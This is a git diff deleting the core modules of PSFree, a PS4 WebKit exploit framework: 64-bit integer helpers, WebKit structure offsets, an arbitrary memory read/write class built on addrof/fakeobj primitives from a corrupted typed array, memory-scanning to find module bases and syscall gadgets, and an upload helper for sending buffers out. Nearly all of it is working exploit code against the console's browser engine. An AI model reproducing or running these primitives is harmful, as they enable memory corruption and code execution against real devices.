-    const module = await load_fw_specific(config.target);
-    Chain = module.Chain;
-    module.init(Chain);
-    ({
-        gadgets,
-        libwebkit_base,
-        libkernel_base,
-        libc_base,
-        init_gadget_map,
-    } = module);
-}
diff --git a/psfree/module/constants.mjs b/psfree/module/constants.mjs
deleted file mode 100644
index 268f079..0000000
--- a/psfree/module/constants.mjs
+++ /dev/null
@@ -1,20 +0,0 @@
-/* Copyright (C) 2023 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-export const KB = 1024;
-export const MB = KB * KB;
-export const GB = KB * KB * KB;
diff --git a/psfree/module/int64.mjs b/psfree/module/int64.mjs
deleted file mode 100644
index 248872e..0000000
--- a/psfree/module/int64.mjs
+++ /dev/null
@@ -1,133 +0,0 @@
-/* Copyright (C) 2023-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-// cache some constants
-const isInteger = Number.isInteger;
-
-function check_not_in_range(x) {
-    return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
-}
-
-// use this if you want to support objects convertible to Int but only need
-// their low/high bits. creating a Int is slower compared to just using this
-// function
-export function lohi_from_one(low) {
-    if (low instanceof Int) {
-        return low._u32.slice();
-    }
-
-    if (check_not_in_range(low)) {
-        throw TypeError(`low not a 32-bit integer: ${low}`);
-    }
-
-    return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
-}
-
-// immutable 64-bit integer
-export class Int {
-    constructor(low, high) {
-        if (high === undefined) {
-            this._u32 = new Uint32Array(lohi_from_one(low));
-            return;
-        }
-
-        if (check_not_in_range(low)) {
-            throw TypeError(`low not a 32-bit integer: ${low}`);
-        }
-
-        if (check_not_in_range(high)) {
-            throw TypeError(`high not a 32-bit integer: ${high}`);
-        }
-
-        this._u32 = new Uint32Array([low, high]);
-    }
-
-    get lo() {
-        return this._u32[0];
-    }
-
-    get hi() {
-        return this._u32[1];
-    }
-
-    // return low/high as signed integers
-
-    get bot() {
-        return this._u32[0] | 0;
-    }
-
-    get top() {
-        return this._u32[1] | 0;
-    }
-
-    neg() {
-        const u32 = this._u32;
-        const low = (~u32[0] >>> 0) + 1;
-        return new this.constructor(
-            low >>> 0,
-            ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
-        );
-    }
-
-    eq(b) {
-        const values = lohi_from_one(b);
-        const u32 = this._u32;
-        return (
-            u32[0] === values[0]
-            && u32[1] === values[1]
-        );
-    }
-
-    ne(b) {
-        return !this.eq(b);
-    }
-
-    add(b) {
-        const values = lohi_from_one(b);
-        const u32 = this._u32;
-        const low = u32[0] + values[0];
-        return new this.constructor(
-            low >>> 0,
-            (u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
-        );
-    }
-
-    sub(b) {
-        const values = lohi_from_one(b);
-        const u32 = this._u32;
-        const low = u32[0] + (~values[0] >>> 0) + 1;
-        return new this.constructor(
-            low >>> 0,
-            (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
-        );
-    }
-
-    toString(is_pretty=false) {
-        if (!is_pretty) {
-            const low = this.lo.toString(16).padStart(8, '0');
-            const high = this.hi.toString(16).padStart(8, '0');
-            return '0x' + high + low;
-        }
-        let high = this.hi.toString(16).padStart(8, '0');
-        high = high.substring(0, 4) + '_' + high.substring(4);
-
-        let low = this.lo.toString(16).padStart(8, '0');
-        low = low.substring(0, 4) + '_' + low.substring(4);
-
-        return '0x' + high + '_' + low;
-    }
-}
diff --git a/psfree/module/mem.mjs b/psfree/module/mem.mjs
deleted file mode 100644
index 2620230..0000000
--- a/psfree/module/mem.mjs
+++ /dev/null
@@ -1,430 +0,0 @@
-/* Copyright (C) 2023-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-import { Int, lohi_from_one } from './int64.mjs';
-import { view_m_vector, view_m_length } from './offset.mjs';
-
-export let mem = null;
-
-// cache some constants
-const off_vector = view_m_vector / 4;
-const off_vector2 = (view_m_vector + 4) / 4;
-const isInteger = Number.isInteger;
-
-function init_module(memory) {
-    mem = memory;
-}
-
-function add_and_set_addr(mem, offset, base_lo, base_hi) {
-    const values = lohi_from_one(offset);
-    const main = mem._main;
-
-    const low = base_lo + values[0];
-
-    // no need to use ">>> 0" to convert to unsigned here
-    main[off_vector] = low;
-    main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
-}
-
-export class Addr extends Int {
-    read8(offset) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        return m.read8_at(offset);
-    }
-
-    read16(offset) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        return m.read16_at(offset);
-    }
-
-    read32(offset) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        return m.read32_at(offset);
-    }
-
-    read64(offset) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        return m.read64_at(offset);
-    }
-
-    readp(offset) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        return m.readp_at(offset);
-    }
-
-    write8(offset, value) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        m.write8_at(offset, value);
-    }
-
-    write16(offset, value) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        m.write16_at(offset, value);
-    }
-
-    write32(offset, value) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        m.write32_at(offset, value);
-    }
-
-    write64(offset, value) {
-        const m = mem;
-        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
-            m._set_addr_direct(this);
-        } else {
-            add_and_set_addr(m, offset, this.lo, this.hi);
-            offset = 0;
-        }
-
-        m.write64_at(offset, value);
-    }
-}
-
-// expected:
-// * main - Uint32Array whose m_vector points to worker
-// * worker - DataView
-//
-// addrof()/fakeobj() expectations:
-// * obj - has a "addr" property and a 0 index.
-// * addr_addr - Int, the address of the slot of obj.addr
-// * fake_addr - Int, the address of the slot of obj[0]
-//
-// a valid example for "obj" is "{addr: null, 0: 0}". note that this example
-// has [0] be 0 so that the butterfly's indexing type is ArrayWithInt32. this
-// prevents the garbage collector from incorrectly treating the slot's value as
-// a JSObject and then crash
-//
-// the relative read/write methods expect the offset to be a unsigned 32-bit
-// integer
-export class Memory {
-    constructor(main, worker, obj, addr_addr, fake_addr)  {
-        this._main = main;
-        this._worker = worker;
-        this._obj = obj;
-        this._addr_low = addr_addr.lo;
-        this._addr_high = addr_addr.hi;
-        this._fake_low = fake_addr.lo;
-        this._fake_high = fake_addr.hi;
-
-        main[view_m_length / 4] = 0xffffffff;
-
-        init_module(this);
-
-        const off_mvec = view_m_vector;
-        // use this to create WastefulTypedArrays to avoid a GC crash
-        const buf = new ArrayBuffer(0);
-
-        const src = new Uint8Array(buf);
-        const sset = new Uint32Array(buf);
-        const sset_p = this.addrof(sset);
-        sset_p.write64(off_mvec, this.addrof(src).add(off_mvec));
-        sset_p.write32(view_m_length, 3);
-        this._cpysrc = src;
-        this._src_setter = sset;
-
-        const dst = new Uint8Array(buf);
-        const dset = new Uint32Array(buf);
-        const dset_p = this.addrof(dset);
-        dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec));
-        dset_p.write32(view_m_length, 3);
-        dset[2] = 0xffffffff;
-        this._cpydst = dst;
-        this._dst_setter = dset;
-    }
-
-    // dst and src may overlap
-    cpy(dst, src, len) {
-        if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
-            throw TypeError('len not a unsigned 32-bit integer');
-        }
-
-        const dvals = lohi_from_one(dst);
-        const svals = lohi_from_one(src);
-        const dset = this._dst_setter;
-        const sset = this._src_setter;
-
-        dset[0] = dvals[0];
-        dset[1] = dvals[1];
-        sset[0] = svals[0];
-        sset[1] = svals[1];
-        sset[2] = len;
-
-        this._cpydst.set(this._cpysrc);
-    }
-
-    // allocate Garbage Collector managed memory. returns [address_of_memory,
-    // backer]. backer is the JSCell that is keeping the returned memory alive,
-    // you can drop it once you have another GC object reference the address.
-    // the backer is an implementation detail. don't use it to mutate the
-    // memory
-    gc_alloc(size) {
-        if (!isInteger(size)) {
-            throw TypeError('size not a integer');
-        }
-        if (size < 0) {
-            throw RangeError('size is negative');
-        }
-
-        const fastLimit = 1000;
-        size = (size + 7 & ~7) >> 3;
-        if (size > fastLimit) {
-            throw RangeError('size is too large');
-        }
-
-        const backer = new Float64Array(size);
-        return [mem.addrof(backer).readp(view_m_vector), backer];
-    }
-
-    fakeobj(addr) {
-        const values = lohi_from_one(addr);
-        const worker = this._worker;
-        const main = this._main;
-
-        main[off_vector] = this._fake_low;
-        main[off_vector2] = this._fake_high;
-        worker.setUint32(0, values[0], true);
-        worker.setUint32(4, values[1], true);
-        return this._obj[0];
-    }
-
-    addrof(object) {
-        // typeof considers null as a object. blacklist it as it isn't a
-        // JSObject
-        if (object === null
-            || (typeof object !== 'object' && typeof object !== 'function')
-        ) {
-            throw TypeError('argument not a JS object');
-        }
-
-        const obj = this._obj;
-        const worker = this._worker;
-        const main = this._main;
-
-        obj.addr = object;
-
-        main[off_vector] = this._addr_low;
-        main[off_vector2] = this._addr_high;
-
-        const res = new Addr(
-            worker.getUint32(0, true),
-            worker.getUint32(4, true),
-        );
-        obj.addr = null;
-
-        return res;
-    }
-
-    // expects addr to be a Int
-    _set_addr_direct(addr) {
-        const main = this._main;
-        main[off_vector] = addr.lo;
-        main[off_vector2] = addr.hi;
-    }
-
-    set_addr(addr) {
-        const values = lohi_from_one(addr);
-        const main = this._main;
-        main[off_vector] = values[0];
-        main[off_vector2] = values[1];
-    }
-
-    get_addr() {
-        const main = this._main;
-        return new Addr(main[off_vector], main[off_vector2]);
-    }
-
-    read8(addr) {
-        this.set_addr(addr);
-        return this._worker.getUint8(0);
-    }
-
-    read16(addr) {
-        this.set_addr(addr);
-        return this._worker.getUint16(0, true);
-    }
-
-    read32(addr) {
-        this.set_addr(addr);
-        return this._worker.getUint32(0, true);
-    }
-
-    read64(addr) {
-        this.set_addr(addr);
-        const worker = this._worker;
-        return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
-    }
-
-    // returns a pointer instead of an Int
-    readp(addr) {
-        this.set_addr(addr);
-        const worker = this._worker;
-        return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
-    }
-
-    read8_at(offset) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        return this._worker.getUint8(offset);
-    }
-
-    read16_at(offset) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        return this._worker.getUint16(offset, true);
-    }
-
-    read32_at(offset) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        return this._worker.getUint32(offset, true);
-    }
-
-    read64_at(offset) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        const worker = this._worker;
-        return new Int(
-            worker.getUint32(offset, true),
-            worker.getUint32(offset + 4, true),
-        );
-    }
-
-    readp_at(offset) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        const worker = this._worker;
-        return new Addr(
-            worker.getUint32(offset, true),
-            worker.getUint32(offset + 4, true),
-        );
-    }
-
-    write8(addr, value) {
-        this.set_addr(addr);
-        this._worker.setUint8(0, value);
-    }
-
-    write16(addr, value) {
-        this.set_addr(addr);
-        this._worker.setUint16(0, value, true);
-    }
-
-    write32(addr, value) {
-        this.set_addr(addr);
-        this._worker.setUint32(0, value, true);
-    }
-
-    write64(addr, value) {
-        const values = lohi_from_one(value);
-        this.set_addr(addr);
-        const worker = this._worker;
-        worker.setUint32(0, values[0], true);
-        worker.setUint32(4, values[1], true);
-    }
-
-    write8_at(offset, value) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        this._worker.setUint8(offset, value);
-    }
-
-    write16_at(offset, value) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        this._worker.setUint16(offset, value, true);
-    }
-
-    write32_at(offset, value) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        this._worker.setUint32(offset, value, true);
-    }
-
-    write64_at(offset, value) {
-        if (!isInteger(offset)) {
-            throw TypeError('offset not a integer');
-        }
-        const values = lohi_from_one(value);
-        const worker = this._worker;
-        worker.setUint32(offset, values[0], true);
-        worker.setUint32(offset + 4, values[1], true);
-    }
-}
diff --git a/psfree/module/memtools.mjs b/psfree/module/memtools.mjs
deleted file mode 100644
index ed8ec2e..0000000
--- a/psfree/module/memtools.mjs
+++ /dev/null
@@ -1,255 +0,0 @@
-/* Copyright (C) 2023-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-// This module are for utilities that depend on running the exploit first
-
-import { Int } from './int64.mjs';
-import { mem } from './mem.mjs';
-import { align } from './utils.mjs';
-import { page_size } from './offset.mjs';
-import { BufferView } from './rw.mjs';
-import { View1 } from './view.mjs';
-import * as off from './offset.mjs';
-
-// creates an ArrayBuffer whose contents is copied from addr
-export function make_buffer(addr, size) {
-    // see enum TypedArrayMode from
-    // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
-    // at webkitgtk 2.34.4
-    //
-    // see possiblySharedBuffer() from
-    // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
-    // at webkitgtk 2.34.4
-
-    // We will create an OversizeTypedArray via requesting an Uint8Array whose
-    // number of elements will be greater than fastSizeLimit (1000).
-    //
-    // We will not use a FastTypedArray since its m_vector is visited by the
-    // GC and we will temporarily change it. The GC expects addresses from the
-    // JS heap, and that heap has metadata that the GC uses. The GC will likely
-    // crash since valid metadata won't likely be found at arbitrary addresses.
-    //
-    // The FastTypedArray approach will have a small time frame where the GC
-    // can inspect the invalid m_vector field.
-    //
-    // Views created via "new TypedArray(x)" where "x" is a number will always
-    // have an m_mode < WastefulTypedArray.
-    const u = new Uint8Array(1001);
-    const u_addr = mem.addrof(u);
-
-    // we won't change the butterfly and m_mode so we won't save those
-    const old_addr = u_addr.read64(off.view_m_vector);
-    const old_size = u_addr.read32(off.view_m_length);
-
-    u_addr.write64(off.view_m_vector, addr);
-    u_addr.write32(off.view_m_length, size);
-
-    const copy = new Uint8Array(u.length);
-    copy.set(u);
-
-    // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
-    // associated with them, if we ask for view.buffer, the view will be
-    // converted into a WastefulTypedArray and an ArrayBuffer will be created.
-    // This is done by calling slowDownAndWasteMemory().
-    //
-    // We can't use slowDownAndWasteMemory() on u since that will create a
-    // JSC::ArrayBufferContents with its m_data pointing to addr. On the
-    // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
-    // cause a crash if the m_data is not from the fastMalloc heap, and even if
-    // it is, freeing abitrary addresses is dangerous as it may lead to a
-    // use-after-free.
-    const res = copy.buffer;
-
-    // restore
-    u_addr.write64(off.view_m_vector, old_addr);
-    u_addr.write32(off.view_m_length, old_size);
-
-    return res;
-}
-
-// these values came from analyzing dumps from CelesteBlue
-function check_magic_at(p, is_text) {
-    // byte sequence that is very likely to appear at offset 0 of a .text
-    // segment
-    const text_magic = [
-        new Int(0xe5894855, 0x56415741),
-        new Int(0x54415541, 0x8d485053),
-    ];
-
-    // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
-
-    // .data magic from 3.00, 6.00, and 6.20
-    //const data_magic = [
-    //    new Int(0x18),
-    //    new Int(0x3c13f4bf, 0x1),
-    //];
-
-    // .data magic from 8.00 and 8.03
-    const data_magic = [
-        new Int(0x20),
-        new Int(0x3c13f4bf, 0x2),
-    ];
-
-    const magic = is_text ? text_magic : data_magic;
-    const value = [p.read64(0), p.read64(8)];
-
-    return value[0].eq(magic[0]) && value[1].eq(magic[1]);
-}
-
-// Finds the base address of a segment: .text or .data
-// Used on the ps4 to locate module base addresses
-// * p:
-//     an address pointing somewhere in the segment to search
-// * is_text:
-//     whether the segment is .text or .data
-// * is_back:
-//     whether to search backwards (to lower addresses) or forwards
-//
-// Modules are likely to be separated by a couple of unmapped pages because of
-// Address Space Layout Randomization (all module base addresses are
-// randomized). This means that this function will either succeed or crash on
-// a page fault, if the magic is not present.
-//
-// To be precise, modules are likely to be "surrounded" by unmapped pages, it
-// does not mean that the distance between a boundary of a module and the
-// nearest unmapped page is 0.
-//
-// The boundaries of a module is its base and end addresses.
-//
-// let module_base_addr = find_base(...);
-// // Not guaranteed to crash, the nearest unmapped page is not necessarily at
-// // 0 distance away from module_base_addr.
-// addr.read8(-1);
-//
-export function find_base(addr, is_text, is_back) {
-    // align to page size
-    addr = align(addr, page_size);
-    const offset = (is_back ? -1 : 1) * page_size;
-    while (true) {
-        if (check_magic_at(addr, is_text)) {
-            break;
-        }
-        addr = addr.add(offset);
-    }
-    return addr;
-}
-
-// gets the address of the underlying buffer of a JSC::JSArrayBufferView
-export function get_view_vector(view) {
-    if (!ArrayBuffer.isView(view)) {
-        throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
-    }
-    return mem.addrof(view).readp(off.view_m_vector);
-}
-
-export function resolve_import(import_addr) {
-    if (import_addr.read16(0) !== 0x25ff) {
-        throw Error(
-            `instruction at ${import_addr} is not of the form: jmp qword`
-            + ' [rip + X]');
-    }
-    // module_function_import:
-    //     jmp qword [rip + X]
-    //     ff 25 xx xx xx xx // signed 32-bit displacement
-    const disp = import_addr.read32(2);
-    // assume disp and offset are 32-bit integers
-    // x | 0 will always be a signed integer
-    const offset = (disp | 0) + 6;
-    // The rIP value used by "jmp [rip + X]" instructions is actually the rIP
-    // of the next instruction. This means that the actual address used is
-    // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
-    // jump instruction, which is 6 in this case.
-    const function_addr = import_addr.readp(offset);
-
-    return function_addr;
-}
-
-export function init_syscall_array(
-    syscall_array,
-    libkernel_web_base,
-    max_search_size,
-) {
-    if (!Number.isInteger(max_search_size)) {
-        throw TypeError(
-            `max_search_size is not a integer: ${max_search_size}`);
-    }
-    if (max_search_size < 0) {
-        throw Error(`max_search_size is less than 0: ${max_search_size}`);
-    }
-
-    const libkernel_web_buffer = make_buffer(
-        libkernel_web_base,
-        max_search_size,
-    );
-    const kbuf = new BufferView(libkernel_web_buffer);
-
-    // Search 'rdlo' string from libkernel_web's .rodata section to gain an
-    // upper bound on the size of the .text section.
-    let text_size = 0;
-    let found = false;
-    for (let i = 0; i < max_search_size; i++) {
-        if (kbuf[i] === 0x72
-            && kbuf[i + 1] === 0x64
-            && kbuf[i + 2] === 0x6c
-            && kbuf[i + 3] === 0x6f
-        ) {
-            text_size = i;
-            found = true;
-            break;
-        }
-    }
-    if (!found) {
-        throw Error(
-            '"rdlo" string not found in libkernel_web, base address:'
-            + ` ${libkernel_web_base}`);
-    }
-
-    // search for the instruction sequence:
-    // syscall_X:
-    //     mov rax, X
-    //     mov r10, rcx
-    //     syscall
-    for (let i = 0; i < text_size; i++) {
-        if (kbuf[i] === 0x48
-            && kbuf[i + 1] === 0xc7
-            && kbuf[i + 2] === 0xc0
-            && kbuf[i + 7] === 0x49
-            && kbuf[i + 8] === 0x89
-            && kbuf[i + 9] === 0xca
-            && kbuf[i + 10] === 0x0f
-            && kbuf[i + 11] === 0x05
-        ) {
-            const syscall_num = kbuf.read32(i + 3);
-            syscall_array[syscall_num] = libkernel_web_base.add(i);
-            // skip the sequence
-            i += 11;
-        }
-    }
-}
-
-// create a char array like in the C language
-//
-// string to view since it's easier to get the address of the buffer this way
-export function cstr(str) {
-    str += '\0';
-    return View1.from(str, c => c.codePointAt(0));
-}
-
-// we are re-exporting this since users that want to use cstr() usually want
-// jstr() as well. they are likely working with functions that take/return
-// strings
-export { jstr } from './utils.mjs';
diff --git a/psfree/module/offset.mjs b/psfree/module/offset.mjs
deleted file mode 100644
index 74c9dc0..0000000
--- a/psfree/module/offset.mjs
+++ /dev/null
@@ -1,62 +0,0 @@
-/* Copyright (C) 2023-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-// WebKit offsets start
-
-// offsets for JSC::JSObject
-export const js_cell = 0;
-export const js_butterfly = 0x8;
-// start of the array of inline properties (JSValues)
-export const js_inline_prop = 0x10;
-
-// sizeof JSC::JSObject
-export const size_jsobj = js_inline_prop;
-
-// offsets for JSC::JSArrayBufferView
-export const view_m_vector = 0x10;
-export const view_m_length = 0x18;
-export const view_m_mode = 0x1c;
-
-// sizeof JSC::JSArrayBufferView
-export const size_view = 0x20;
-
-// offsets for WTF::StringImpl
-export const strimpl_strlen = 4;
-export const strimpl_m_data = 8;
-export const strimpl_inline_str = 0x14;
-
-// sizeof WTF::StringImpl
-export const size_strimpl = 0x18;
-
-// offsets for WebCore::JSHTMLTextAreaElement, subclass of JSObject
-
-// offset to m_wrapped, pointer to a DOM object
-// for this class, it's a WebCore::HTMLTextAreaElement pointer
-export const jsta_impl = 0x18;
-
-// sizeof WebCore::JSHTMLTextAreaElement
-export const size_jsta = 0x20;
-
-// WebKit offsets end
-
-export const KB = 1024;
-export const MB = KB * KB;
-export const GB = KB * KB * KB;
-export const page_size = 16 * KB; // page size on the ps4
-
-// size of the buffer used by setcontext/getcontext (see module/chain.mjs)
-export const context_size = 0xc8;
diff --git a/psfree/module/rw.mjs b/psfree/module/rw.mjs
deleted file mode 100644
index 2075817..0000000
--- a/psfree/module/rw.mjs
+++ /dev/null
@@ -1,140 +0,0 @@
-/* Copyright (C) 2023-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-import { Int, lohi_from_one } from './int64.mjs';
-
-// DataView's accessors are constant time and are faster when doing multi-byte
-// accesses but the single-byte accessors are slightly slower compared to just
-// indexing the Uint8Array
-//
-// to get the best of both worlds, BufferView uses a DataView for multi-byte
-// accesses and a Uint8Array for single-byte
-//
-// instances of BufferView will their have m_mode set to WastefulTypedArray
-// since we use the .buffer getter to create a DataView
-export class BufferView extends Uint8Array {
-    constructor(...args) {
-        super(...args);
-        this._dview = new DataView(this.buffer, this.byteOffset);
-    }
-
-    read16(offset) {
-        return this._dview.getUint16(offset, true);
-    }
-
-    read32(offset) {
-        return this._dview.getUint32(offset, true);
-    }
-
-    read64(offset) {
-        return new Int(
-            this._dview.getUint32(offset, true),
-            this._dview.getUint32(offset + 4, true),
-        );
-    }
-
-    write16(offset, value) {
-        this._dview.setUint16(offset, value, true);
-    }
-
-    write32(offset, value) {
-        this._dview.setUint32(offset, value, true);
-    }
-
-    write64(offset, value) {
-        const values = lohi_from_one(value);
-        this._dview.setUint32(offset, values[0], true);
-        this._dview.setUint32(offset + 4, values[1], true);
-    }
-}
-
-// WARNING: These functions are now deprecated. use BufferView instead.
-
-// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
-// be corrupting the m_vector of our target views later, the ArrayBuffer's
-// buffer will not correspond to our fake m_vector anyway.
-//
-// can't use:
-//
-// function read32(u8_view, offset) {
-//     let res = new Uint32Array(u8_view.buffer, offset, 1);
-//     return res[0];
-// }
-//
-// to implement read32, we need to index the view instead:
-//
-// function read32(u8_view, offset) {
-//     let res = 0;
-//     for (let i = 0; i < 4; i++) {
-//         res += u8_view[offset + i] << i*8;
-//     }
-//     // << returns a signed integer, >>> converts it to unsigned
-//     return res >>> 0;
-// }
-
-// for reads less than 8 bytes
-function read(u8_view, offset, size) {
-    let res = 0;
-    for (let i = 0; i < size; i++) {
-        res += u8_view[offset + i] << i*8;
-    }
-    // << returns a signed integer, >>> converts it to unsigned
-    return res >>> 0;
-}
-
-export function read16(u8_view, offset) {
-    return read(u8_view, offset, 2);
-}
-
-export function read32(u8_view, offset) {
-    return read(u8_view, offset, 4);
-}
-
-export function read64(u8_view, offset) {
-    return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
-}
-
-// for writes less than 8 bytes
-function write(u8_view, offset, value, size) {
-    for (let i = 0; i < size; i++) {
-        u8_view[offset + i]  = (value >>> i*8) & 0xff;
-    }
-}
-
-export function write16(u8_view, offset, value) {
-    write(u8_view, offset, value, 2);
-}
-
-export function write32(u8_view, offset, value) {
-    write(u8_view, offset, value, 4);
-}
-
-export function write64(u8_view, offset, value) {
-    if (!(value instanceof Int)) {
-        throw TypeError('write64 value must be an Int');
-    }
-
-    let low = value.lo;
-    let high = value.hi;
-
-    for (let i = 0; i < 4; i++) {
-        u8_view[offset + i]  = (low >>> i*8) & 0xff;
-    }
-    for (let i = 0; i < 4; i++) {
-        u8_view[offset + 4 + i]  = (high >>> i*8) & 0xff;
-    }
-}
diff --git a/psfree/module/utils.mjs b/psfree/module/utils.mjs
deleted file mode 100644
index 7c20ef1..0000000
--- a/psfree/module/utils.mjs
+++ /dev/null
@@ -1,172 +0,0 @@
-/* Copyright (C) 2023-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-import { Int } from './int64.mjs';
-
-export class DieError extends Error {
-    constructor(...args) {
-        super(...args);
-        this.name = this.constructor.name;
-    }
-}
-
-export function die(msg='') {
-    throw new DieError(msg);
-}
-
-const console = document.getElementById('console');
-export function log(msg='') {
-    console.append(msg + '\n');
-}
-
-export function clear_log() {
-    console.innerHTML = null;
-}
-
-// alignment must be 32 bits and is a power of 2
-export function align(a, alignment) {
-    if (!(a instanceof Int)) {
-        a = new Int(a);
-    }
-    const mask = -alignment & 0xffffffff;
-    let type = a.constructor;
-    let low = a.lo & mask;
-    return new type(low, a.hi);
-}
-
-export async function send(url, buffer, file_name, onload=() => {}) {
-    const file = new File(
-        [buffer],
-        file_name,
-        {type:'application/octet-stream'}
-    );
-    const form = new FormData();
-    form.append('upload', file);
-
-    log('send');
-    const response = await fetch(url, {method: 'POST', body: form});
-
-    if (!response.ok) {
-        throw Error(`Network response was not OK, status: ${response.status}`);
-    }
-    onload();
-}
-
